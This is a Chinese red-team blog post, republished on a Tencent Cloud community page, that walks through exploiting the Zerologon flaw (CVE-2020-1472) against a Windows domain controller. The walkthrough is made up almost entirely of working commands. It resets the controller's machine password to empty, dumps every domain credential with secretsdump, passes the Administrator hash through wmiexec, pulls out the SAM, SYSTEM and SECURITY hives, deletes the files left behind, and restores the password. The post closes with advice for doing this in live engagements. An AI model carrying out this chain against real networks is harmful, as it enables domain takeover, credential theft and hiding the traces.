前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >NetLogon 域内提权漏洞(CVE-2020-1472)复现过程

NetLogon 域内提权漏洞(CVE-2020-1472)复现过程

作者头像
渗透攻击红队
发布2021-01-26 22:28:21
4.9K2
发布2021-01-26 22:28:21
举报
文章被收录于专栏:漏洞知识库

简介

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。

影响版本

代码语言:javascript
复制
Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)

复现过程

域控IP:192.168.159.149

域内跳板IP:192.168.159.154

域:Motoo.nc

查看域控的主机名:

代码语言:javascript
复制
net group "domain controllers" /domain

可以看到 Motoo-DCSRV 是域控的主机名!

首先通过 Poc 检测漏洞是否存在:

代码语言:javascript
复制
python3 cve-2020-1472-poc.py Motoo-DCSRV 192.168.159.149

返回 Success,说明漏洞存在!

使用 exploit 漏洞脚本将域控机器账号重置:

代码语言:javascript
复制
python3 cve-2020-1472-exploit.py Motoo-DCSRV 192.168.159.149

之后使用 DCSync 导出域内所有用户的凭证:(主要有四个空格)

代码语言:javascript
复制
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

得到了域控的 Hash:

代码语言:javascript
复制
Motoo.nc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905

然后再通过 wmic hash 传递:

代码语言:javascript
复制
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905 Motoo.nc/Administrator@192.168.159.149

然后通过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,不然就脱域了:

代码语言:javascript
复制
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.save 

记得下载完后删除痕迹文件:

代码语言:javascript
复制
del /f system.savedel /f sam.savedel /f security.save

之后你会发现再你的当前机器会生成几个文件:sam.save、security.save、system.save

之后通过 sam.save、security.save、system.save 这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码:

代码语言:javascript
复制
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意只有后半部分:

代码语言:javascript
复制
$MACHINE.ACC: 的值$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:ce7b34c0f2c72d6cb03123ef5ff741ca
代码语言:javascript
复制
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca

这个时候你还可以使用脚本来检测是否恢复密码成功:

代码语言:javascript
复制
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass

或者还可以使用这个:注意四个空格

代码语言:javascript
复制
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

可以看到我们使用空密码去获取域内的所有用户的凭证已经不行了:

这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就GG了!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档